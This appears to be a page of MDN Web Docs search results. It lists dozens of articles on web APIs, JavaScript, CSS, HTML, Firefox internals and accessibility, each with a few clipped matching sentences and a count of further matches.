basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph.
... several sources — with different types of channel layout — are supported even within a single context.
... audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination.
...And 63 more matches
Looping code - Learn web development
here we'll look at the loop structures available in javascript that handle such needs.
...programming loops are all to do with doing the same thing over and over again — which is termed iteration in programming speak.
...he might use the following loop to achieve this: a loop usually has one or more of the following features: a counter, which is initialized with a certain value — this is the starting point of the loop ("start: i have no food", above).
...And 62 more matches
Componentizing our Svelte app - Learn web development
it will help you understand how they relate to each other, it will promote reuse, and it will make your code easier to reason about, maintain, and extend.
...some people prefer an intuitive approach and start looking at the markup and drawing boxes around every component and subcomponent that seems to have its own logic.
... other people apply the same techniques used for deciding if you should create a new function or object.
...And 62 more matches
nsINavBookmarksService
a uri in history can be contained in one or more such folders.
... 1.0 67 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/browser/nav-bookmarks-service;1.
... to use this service, use: var navbookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); method overview void addobserver(in nsinavbookmarkobserver observer, in boolean ownsweak); void beginupdatebatch(); obsolete since gecko 1.9 void changebookmarkuri(in long long aitemid, in nsiuri anewuri); long long createdynamiccontainer(in long long aparentfolder, in autf8string aname, in astring acontractid, in long aindex); note: renamed from createcontainer in gecko 1.9 obsolete since gecko 13.0 long long createfolder(in long long aparentfolder, in autf8string name, in long index); void endupdatebatch(); obsolete since gecko 1.9...
...And 62 more matches
Timing element visibility with the Intersection Observer API - Web APIs
the intersection observer api makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the document itself.
... in this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the intersection observer api to track how much time each ad is visible to the user.
... although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site.
...And 62 more matches
WebGL best practices - Web APIs
you can rely on this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run.
...after too many errors (32 in firefox), webgl stops generating descriptive messages, which really hinders debugging.
...don't assume you can use thirty texture samplers per shader just because it works on your machine!
...And 62 more matches
Fundamental text and font styling - Learn web development
objective: to learn the fundamental properties and techniques needed to style text on web pages.
...once it reaches the end, it goes down to the next line and continues, then the next line, until all the content has been placed in the box.
... text content effectively behaves like a series of inline elements, being laid out on lines adjacent to one another, and not creating line breaks until the end of the line is reached, or unless you force a line break manually using the <br> element.
...And 61 more matches
Server-side web frameworks - Learn web development
with this knowledge under our belt, it's time to explore how web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side web application.
...we then explain some of the criteria you can use for choosing a web framework, and then list some of your options.
...handling these all in one function would be hard to maintain, so web frameworks provide simple mechanisms to map url patterns to specific handler functions.
...And 61 more matches
Eclipse CDT
therefore, it is not recommended for use if your machine only has 4 gb of ram.
... installing eclipse regarding llvm4eclipsecdt, do not install or select this toolchain for mozilla development.
... once your build is complete, mach can then generate a useful eclipse project on your behalf.
...And 61 more matches
Index - HTTP
WebHTTPHeadersIndex
2 accept http, http header, reference, request header the accept request http header advertises which content types, expressed as mime types, the client is able to understand.
... using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header.
... browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script.
...And 61 more matches
Handling common accessibility problems - Learn web development
objective: to be able to diagnose common accessibility problems, and use appropriate tools and techniques to fix them.
... when we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnification/zoom to access text people with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.
... users on alternative browsing devices such as tvs, watches, etc.
...And 60 more matches
Introduction to automated testing - Learn web development
in this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot.
... automation makes things easy throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more.
...there are two main ways in which we can automate the tests we've been talking about in this module: use a task runner such as grunt or gulp, or npm scripts to run tests and clean up code during your build process.
...And 60 more matches
Setting up your own test automation environment - Learn web development
previous overview: cross browser testing in this article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node.
...there are other ways, but the best way to use selenium is via webdriver, a powerful api that builds on top of selenium and makes calls to a browser to automate it, carrying out actions such as "open this web page", "move over this element on the page", "click this link", "see whether the link opens this url", etc.
... note: if you want to find out how to use webdriver with other server-side environments, also check out platforms supported by selenium for some useful links.
...And 60 more matches
EventTarget.addEventListener() - Web APIs
common targets are element, document, and window, but the target may be any object that supports events (such as xmlhttprequest).
... addeventlistener() works by adding a function or an object that implements eventlistener to the list of event listeners for the specified event type on the eventtarget on which it's called.
... options optional an options object specifies characteristics about the event listener.
...And 60 more matches
Geometry and reference spaces in WebXR - Web APIs
at a fundamental level, rendering of scenes for webxr presentation in either augmented reality or virtual reality contexts is performed using webgl, so the two apis share much of the same design language.
... however, in order to provide the ability to present scenes in true 3d using xr headsets and other such equipment, webxr has additional concepts that must be understood.
... in this article, we introduce the ways in which webxr expands upon the geometry of webgl, and how the positions and orientations of objects—both physical and virtual—are described in relation to one another using spaces and, in particular, reference spaces.
...And 60 more matches
Experimental features in Firefox
you can test your web sites and applications before these features get released and ensure everything will still work with the latest web technology capabilities.
...which you need is described alongside each feature's description below.
... release channel version added enabled by default?
...And 59 more matches
Shell global objects
there may be some difference between each versions.
...ect that may have these properties: isrunonce use the isrunonce compiler option (default: false) noscriptrval use the no-script-rval compiler option (default: false) filename filename for error messages and debug info linenumber starting line number for error messages and debug info columnnumber starting column number for error messages and debug info global global in which to execute the code newcontext if true, create and use a new cx (default: false) catchtermination if true, catch termination (failure without an exception value, as for slow scripts or out-of-memory) and return 'terminated' element if present with value v, convert v to an object o and mark the source as being attached to the dom element o.
...if omitted, attach no source map url to the code (although the code may provide one itself, via a //#sourcemappingurl comment).
...And 59 more matches
nsIMessenger
the nsimessenger interface provides functions for managing the history, undo and redo operations, and for loading, saving, or deleting messages and attachments in mailnews.
... method overview void setdisplaycharset(in acstring acharset); void setwindow(in nsidomwindow ptr, in nsimsgwindow msgwindow); void openurl(in acstring aurl); void loadurl(in nsidomwindow ptr, in acstring aurl); void launchexternalurl(in acstring aurl); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransacti...
...ontype(); void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void sendunsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocumentcharset(in acstring characterset); void saveas(in acstring auri, in boolean aasfile, in nsimsgidentity aidentity, in astring amsgfilename); void openattachment(in acstring contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveattachment(in acstring contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveallattachments(in unsigned long count, [array, size_is(count)] in string contenttypearray, [array, size_is(co...
...And 59 more matches
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
this page lists all the html elements, which are created using tags.
...this includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page.
... <head> the html <head> element contains machine-readable information (metadata) about the document, like its title, scripts, and style sheets.
...And 59 more matches
Inheritance in JavaScript - Learn web development
previous overview: objects next with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes.
... prototypal inheritance so far we have seen some inheritance in action — we have seen how prototype chains work, and how members are inherited going up a chain.
... say we wanted to create a teacher class, like the one we described in our initial object-oriented definition, which inherits all the members from person, but also includes: a new property, subject — this will contain the subject the teacher teaches.
...And 58 more matches
UI pseudo-classes - Learn web development
this included some usage of pseudo-classes, for example using :checked to target a checkbox only when it is selected.
... :checked, :indeterminate, and :default: respectively target checkboxes and radio buttons that are checked, in an indeterminate state (neither checked or not checked), and the default selected option when the page loads (e.g.
... an <input type="checkbox"> with the checked attribute set, or an <option> element with the selected attribute set).
...And 57 more matches
nsITextInputProcessor
dom/interfaces/base/nsitextinputprocessor.idlscriptable this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to provide better api than nsidomwindowutils to dispatch key events and create, modify, and commit composition in higher level.
... nsidomwindowutils has provided the methods which dispatched keyboard events and composition events almost directly.
... therefore they sometimes caused impossible scenarios in automated tests (what's tested with such events?) and js-ime and/or js-keyboard on firefox os or add-ons may dispatch events with wrong rules.
...And 57 more matches
Intersection Observer API - Web APIs
the intersection observer api provides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or with a top-level document's viewport.
... historically, detecting visibility of an element, or the relative visibility of two elements in relation to each other, has been a difficult task for which solutions have been unreliable and prone to causing the browser and the sites the user is accessing to become sluggish.
...intersection information is needed for many reasons, such as: lazy-loading of images or other content as a page is scrolled.
...And 57 more matches
Introduction to CSS layout - Learn web development
overview: css layout next this article will recap some of the css layout features we've already touched upon in previous modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module.
... prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to give you an overview of css page layout techniques.
... each technique can be learned in greater detail in subsequent tutorials.
...And 56 more matches
Third-party APIs - Learn web development
many large websites and services such as google maps, twitter, facebook, paypal, etc.
... third party apis are apis provided by third parties — generally companies such as facebook, twitter, or google — to allow you to access their functionality via javascript and use it on your site.
... note: you might want to just get all our code examples at once, in which case you can then just search the repo for the example files you need in each section.
...And 56 more matches
Introduction to client-side frameworks - Learn web development
overview: client-side javascript frameworks next we begin our look at frameworks with a general overview of the area, looking at a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks.
... objective: to understand how client-side javascript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one.
...users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat.
...And 56 more matches
nsIAnnotationService
supported for use from trusted code, such as extensions, but not from web content.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: "@mozilla.org/browser/annotation-service;1".
... do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols.
...And 56 more matches
An overview of NSS Internals
in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
...(note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standard implements an interface of c calls, which allow querying the characteristics and offered services of the module.
...this strategy allows nss to work with many hardware devices (e.g., to speed up the calculations required for cryptographic operations, or to access smartcards that securely protect a secret key) and software modules (e.g., to allow to load such modules as a plugin that provides additional algorithms or stores key or trust information) that implement the pkcs#11 interface.
...And 55 more matches
Observer Notifications
if your component requires access to the user profile, or any services which require access to the profile (preferences, bookmarks, and so on) then a common pattern is to register with the nsicategorymanager for the app-startup topic which can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-change notification.
... starting in firefox 3.5 components can simply register for the profile-after-change notification in nsicategorymanager.
...see xpcom changes in gecko 2.0 for details.
...And 55 more matches
Index - Firefox Developer Tools
2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... 3 accessibility inspector accessibility, accessibility inspector, devtools, guide, tools the accessibility inspector provides a means to access important information exposed to assistive technologies on the current page via the accessibility tree, allowing you to check what's missing or otherwise needs attention.
...the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.
...And 55 more matches
Cognitive accessibility - Accessibility
the range includes people with mental illnesses, such as depression and schizophrenia.
... it also includes people with learning disabilities, such as dyslexia and attention deficit hyperactivity disorder (adhd).
...other permanent cognitive impairments include aphasia, speech and language, autism, add/adhd, dyslexia, and dyscalculia.
...And 55 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
value a domstring representing a url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange().
... value the <input> element's value attribute contains a domstring which is automatically validated as conforming to url syntax.
...in simple terms, this means urlscheme://restofurl.
...And 55 more matches
Working with Svelte stores - Learn web development
previous overview: client-side javascript frameworks next in the last article we completed the development of our app, finished organizing it into components, and discussed some advanced techniques for dealing with reactivity, working with dom nodes, and exposing component functionality.
...components can subscribe to stores and receive notifications when their values change.
... objective: learn how to use svelte stores using stores we will create an alert component that shows notifications on screen, which can receive messages from any component.
...And 54 more matches
Accessibility API cross-reference
all accessibility apis to date define a list of possible object roles, or general types, such as button, menu item, text, etc.
... they also define a list of possible object states, such as focused, read-only, checked, etc.
...the ipc mechanisms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets.
...And 54 more matches
Multiple Firefox profiles
having different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons.
... web developers might want a secondary profile for testing websites, apps, or other projects on different firefox channels.
...while using the nightly channel, you may encounter some add-ons that have become temporarily incompatible with new api changes, until the add-on developer has a chance to update them.
...And 54 more matches
Localization content best practices
note on localizers mozilla localizers are volunteers with very diverse technical skills: some of them rely exclusively on translation tools, others prefer to work directly with text editors and don't have problems working with vcs systems.
... it's important to consider this when adding strings, and especially localization comments for strings that contain references, or obscure technical details.
... localization files choose good key ids the ids (names) chosen for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.).
...And 54 more matches
Mozilla DOM Hacking Guide
mozilla gives you the opportunity not only to use very powerful and complete dom support, but also to work on a world-class implementation of one of the greatest internet technologies ever created.
...in this document i will try to outline the main aspects of the implementation, beginning with the class info mechanism, which lies at the heart of the dom, then with the description of various interfaces and classes.
... when, in javascript, a client tries to access a dom object or a dom method on a dom object, the js engine asks xpconnect to search for the relevant c++ method to call.
...And 54 more matches
Background Tasks API - Web APIs
the cooperative scheduling of background tasks api (also referred to as the background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
...this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them.
...it's an extremely busy chunk of code, and your main javascript code may run right inside this thread along with all of this.
...And 54 more matches
ARIA Test Cases - Accessibility
or copy-paste: http://oaa-accessibility.org/examples/ for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in.
... where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect.
...er (leopard) n/a n/a - fail window-eyes - - - - nvda - - - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - table legend - no info/test yet n/a not applicable (not supported technically) pass expected behaviour met fail expected behaviour notmet 1.
...And 54 more matches
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
value a domstring representing an e-mail address, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring which is automatically validated as conforming to e-mail syntax.
...there's more to it than that, of course; see validation for a regular expression that matches the e-mail address validation algorithm.
...any trailing and leading whitespace is removed from each address in the list.
...And 54 more matches
TypeScript support in Svelte - Learn web development
there are different opinions about it, and in this chapter we will talk briefly about the pros and cons of using typescript.
...if you are not interested at all in typescript, you can skip to the next chapter, where we will look at different options for deploying our svelte applications, further resources, and more.
... typescript: optional static typing for javascript typescript is a superset of javascript that provides features such as optional static typing, classes, interfaces, and generics.
...And 53 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the previous articles in our webxr tutorial series to construct an example which animates a rotating cube around which the user can move freely using a vr headset, keyboard, and/or mouse.
...rendering the scene for immersive presentation requires multiple renders of the scene—once from the perspective of each eye.
... dependencies while we will not rely upon any 3d graphics frameworks such as three.js or the like for this example, we do use the glmatrix library for matrix math, which we've used in other examples in the past.
...And 53 more matches
WAI-ARIA basics - Learn web development
wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
...<div class="nav">, but these were problematic, as there was no easy way to easily find a specific page feature such as the main navigation programmatically.
... as another example, apps started to feature complex controls like date pickers for choosing dates, sliders for choosing values, etc.
...And 52 more matches
Introduction to events - Learn web development
previous overview: building blocks next events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
... a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are programming — the system produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs.
... in the case of the web, events are fired inside the browser window, and tend to be attached to a specific item that resides in it — this might be a single element, set of elements, the html document loaded in the current tab, or the entire browser window.
...And 52 more matches
nsIWebProgressListener
uriloader/base/nsiwebprogresslistener.idlscriptable this interface is implemented by clients wishing to listen in on the progress associated with the loading of asynchronous requests in the context of a nsiwebprogress instance as well as any child nsiwebprogress instances.
... inherits from: nsisupports last changed in gecko 15 (firefox 15 / thunderbird 15 / seamonkey 2.12) nsiwebprogress describes the parent-child relationship of nsiwebprogress instances.
... method overview void onlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, [optional] in unsigned long aflags); void onprogresschange(in nsiwebprogress awebprogress, in nsirequest arequest, in long acurselfprogress, in long amaxselfprogress, in long acurtotalprogress, in long amaxtotalprogress); void onsecuritychange(in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astate); void onstatechange(in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astateflags, in nsresult astatus); void onstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); constants state transition flags these flags indicate the ...
...And 52 more matches
Capabilities, constraints, and settings - Web APIs
historically, writing scripts for the web that work intimately with web apis has had a well-known challenge: often, your code needs to know whether or not an api exists and if so, what its limitations are on the user agent it's running on.
... figuring this out has often been difficult, and has usually involved looking at some combination of which user agent (or browser) you're running on, which version it is, looking to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth.
... the result has been a lot of very fragile code, or a reliance on libraries which figure this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf.
...And 52 more matches
WebRTC API - Web APIs
webrtc (web real-time communication) is a technology which enables web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary.
... webrtc consists of several interrelated apis and protocols which work together to achieve this.
... interoperability because implementations of webrtc are still evolving, and because each browser has different levels of support for codecs and webrtc features, you should strongly consider making use of the adapter.js library provided by google before you begin to write your code.
...And 52 more matches
HTTP headers - HTTP
WebHTTPHeaders
request headers contain more information about the resource to be fetched, or about the client requesting the resource.
... headers can also be grouped according to how proxies handle them: connection keep-alive proxy-authenticate proxy-authorization te trailer transfer-encoding upgrade (see also protocol upgrade mechanism).
...intermediate proxies must retransmit these headers unmodified and caches must store them.
...And 52 more matches
Aprender y obtener ayuda - Learn web development
this article provides some hints and tips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish..
... different learning methods it is interesting to consider that there are two main ways in which your brain learns things — focused and diffuse learning: focused learning is what you might more traditionally associate with academic subjects.
...so which one should you choose?
...And 51 more matches
nsIAccessibleRole
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) constants constant value description role_nothing 0 used when accessible has no strong defined role.
... role_menubar 2 represents the menu bar (positioned beneath the title bar of a window) from which menus are selected by the user.
... role_scrollbar 3 represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.
...And 51 more matches
Cascade and inheritance - Learn web development
overview: building blocks next the aim of this lesson is to develop your understanding of some of the most fundamental concepts of css — the cascade, specificity, and inheritance — which control how css is applied to html and how conflicts are resolved.
... while working through this lesson may seem less immediately relevant and a little more academic than some other parts of the course, an understanding of these things will save you much pain later on!
... we encourage you to work through this section carefully, and check that you understand the concepts before moving on.
...And 50 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens.
... you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...each command takes one option.
...And 50 more matches
Assertions - JavaScript
assertions include boundaries, which indicate the beginnings and endings of lines and words, and other patterns indicating in some way that a match is possible (including look-ahead, look-behind, and conditional expressions).
... types the following section is also duplicated on this cheatsheet.
... boundary-type assertions characters meaning ^ matches the beginning of input.
...And 50 more matches
SpiderMonkey 1.8.5
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32).
...it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...And 49 more matches
Network request list - Firefox Developer Tools
each request is displayed in its own row: by default, the network monitor is cleared each time you navigate to a new page or reload the current page.
... you can override this behavior by checking "enable persistent logs" in the settings.
... network request columns you can toggle columns on and off by right-clicking on the table header and choosing the specific column from the context menu.
...And 49 more matches
Fullscreen API - Web APIs
this makes it possible to present desired content—such as an online game—using the user's entire screen, removing all browser user interface elements and other applications from the screen until full-screen mode is shut off.
...you may wish to consider using a library such as fscreen for vendor agnostic access to the fullscreen api.
... methods on the document interface document.exitfullscreen() requests that the user agent switch from full-screen mode back to windowed mode.
...And 49 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
for web developers, it is now fairly common to be called upon to create a web site or app that changes its user interface depending on the browser or device accessing the site to provide an optimized experience.
... one approach to this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site.
... it is usually much better to create a single version of your code which doesn't care about what browser or platform is accessing the site, but instead uses feature tests to find out what code features the browser supports or what the values of certain browser features are, and then adjusts the code appropriately.
...And 49 more matches
Index
these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox.
...the account provisioner gives the user the chance to search for and order a vanity email account from a list of partner providers.
... if the user already has an email account, the user can switch to the original account setup wizard.
...And 48 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
web video text tracks format (webvtt) is a format for displaying timed text tracks (such as subtitles or captions) using the <track> element.
...webvtt is a text based format, which must be encoded using utf-8.
... a webvtt file (.vtt) contains cues, which can be either a single line or multiple lines, as shown below: webvtt 00:01.000 --> 00:04.000 - never drink liquid nitrogen.
...And 48 more matches
Responsive design - Learn web development
it is an idea that changed the way we design for a multi-device web, and in this article, we'll help you understand the main techniques you need to know to master it.
... historic website layouts at one point in history you had two options when designing a website: you could create a liquid site, which would stretch to fill the browser window or a fixed width site, which would be a fixed size in pixels.
... these two approaches tended to result in a website that looked its best on the screen of the person designing the site!
...And 47 more matches
Mozilla’s UAAG evaluation report
the uaag document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be implemented by any user agent, i.e.
...this may be different from the most recent version, check for updates on the user agent working group home page.
... look to the "techniques" document for real-world implementation examples of each checkpoint.
...And 47 more matches
AddonManager
the majority of the methods are asynchronous meaning that results are delivered through callbacks passed to the method.
... callbacks installcallback() a callback that is passed a single addoninstall void installcallback( in addoninstall install ) parameters install the addoninstall passed back from the asynchronous request installlistcallback() a callback that is passed an array of addoninstalls void installlistcallback( in addoninstall installs[] ) parameters installs the array of addoninstalls passed back from the asynchronous request addoncallback() a callback that is passed a single addon void addoncallback( in addon addon ) parameters addon the addon passed back from the asy...
...nchronous request.
...And 47 more matches
Profiling with the Firefox Profiler
in addition to profiler.firefox.com, the firefox devtools have a simplified interface targeted towards web developers, but does not include as much information as the firefox profiler web app.
... you can check out some frequently asked questions about the firefox profilers.
...timeline the timeline has several rows of tracing markers (colored segments) which indicate interesting events.
...And 47 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
nerate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s %s %s %s %s %s %s %s %s %s\n\n", progname, " -<g|a|h|e|ds|v> -d <dbdirpath> ", "[-p <dbpwd> | -f <dbpwdfile>] [-z <noisefilename>] [-a <\"\">]", "-s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", ...
...nerate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr command */ static void validategeneratecsrcommand(const char *progname, const char *dbdir, certname *subject, const char *subjectstr, const char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly formatted name: \"%s\"\n", progname, ...
...t found\n", progname, dbdir, subjectstr); validationfailed = pr_true; } if (validationfailed) { fprintf(stderr, "\nusage: %s %s \n\n", progname, "-g -d <dbdirpath> -s <subject> -r <csr> \n"); exit(-1); } } /* * validate the options used for add cert to db command */ static void validateaddcerttodbcommand(const char *progname, const char *dbdir, const char *nicknamestr, const char *truststr, const char *certfilename, const char *certreqfilename, const char *issuernamestr, const char *serialnumberstr, ...
...And 47 more matches
An Overview of XPCOM
this chapter provides a quick tour of xpcom - an introduction to the basic concepts and technologies in xpcom and component development.
... the brief sections in this chapter introduce the concepts at a very high level, so that we can discuss and use them with more familiarity in the tutorial itself, which describes the creation of a mozilla component called weblock.
... the xpcom solution the cross platform component object module (xpcom) is a framework which allows developers to break up monolithic software projects into smaller modularized pieces.
...And 47 more matches
nsIAccessibleEvent
accessible/public/nsiaccessibleevent.idlscriptable an interface for accessibility events listened to by in-process accessibility clients, which can be used to find out how to get accessibility and dom interfaces for the event and its target.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description accessible nsiaccessible the nsiaccessible associated with the event.
... event_reorder 0x8004 0x005c 0x0003 an object's children have changed.
...And 47 more matches
Basic concepts - Web APIs
because it lets you create web applications with rich query abilities regardless of network availability, these applications can work both online and offline.
... for the reference documentation on the indexeddb api, refer back to the main indexeddb api article and its subpages, which document the types of objects used by indexeddb.
... overview of indexeddb indexeddb lets you store and retrieve objects that are indexed with a "key." all changes that you make to the database happen within transactions.
...And 47 more matches
Control flow and error handling - JavaScript
this chapter provides an overview of these statements.
... the javascript reference contains exhaustive details about the statements in this chapter.
... the semicolon (;) character is used to separate statements in javascript code.
...And 47 more matches
CSS values and units - Learn web development
in css specifications and on the property pages here on mdn you will be able to spot values as they will be surrounded by angle brackets, such as <color> or <length>.
...the terms are basically interchangeable — when you see something in css referred to as a data type, it is really just a fancy way of saying value.
...this means that if you see <color> as valid you don't need to wonder which of the different types of color value can be used — keywords, hex values, rgb() functions, etc.
...And 46 more matches
Deploying our app - Learn web development
previous overview: understanding client-side tools in the final article in our series, we take the example toolchain we built up in the previous article and add to it so that we can deploy our sample app.
... objective: to finish working through our complete toolchain case study, focusing on deploying the app.
...as such, it's important to create a toolchain that handles these problems in a way that requires as little manual intervention as possible.
...And 46 more matches
Using readable streams - Web APIs
as a javascript developer, programmatically reading and manipulating streams of data received over the network, chunk by chunk, is very useful!
... browser support you can consume fetch body objects as streams and create your own custom readable streams in firefox 65+ and chrome 42+ (and equivalent chromium-based browsers).
... pipe chains are only supported in chrome at the moment, and that functionality is subject to change.
...And 46 more matches
WebGL model view projection - Web APIs
the first matrix discussed below is the model matrix, which defines how you take your original model data and move it around in 3d world space.
...the view matrix is responsible for moving the objects in the scene to simulate the position of the camera being changed, altering what the viewer is currently able to see.
...any data which extends outside of the clip space is clipped off and not rendered.
...And 46 more matches
Audio for Web games - Game development
we often need to decide which audio parts are essential to our games' experience and which are nice to have but not essential, and devise a strategy accordingly.
...there are a couple of differences between desktop and mobile browsers that may have caused browser vendors to make choices that can make web audio difficult for game developers to work with.
... many browsers will simply ignore any requests made by your game to automatically play audio; instead playback for audio needs to be started by a user-initiated event, such as a click or tap.
...And 45 more matches
A first splash into JavaScript - Learn web development
you need to start thinking like a programmer — this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together.
... example — guess the number game in this article we'll show you how to build up the simple game you can see below: top hidden code <!doctype html> <html> <head> <meta charset="utf-8"> <title>number guessing game</title> <style> html { font-family: sans-serif; } body { width: 50%; max-width: 800px; min-width: 480px; margin: 0 auto; } .lastresult { color: white; padding: 3px; } </style> </head> <body> <h1>number gues...
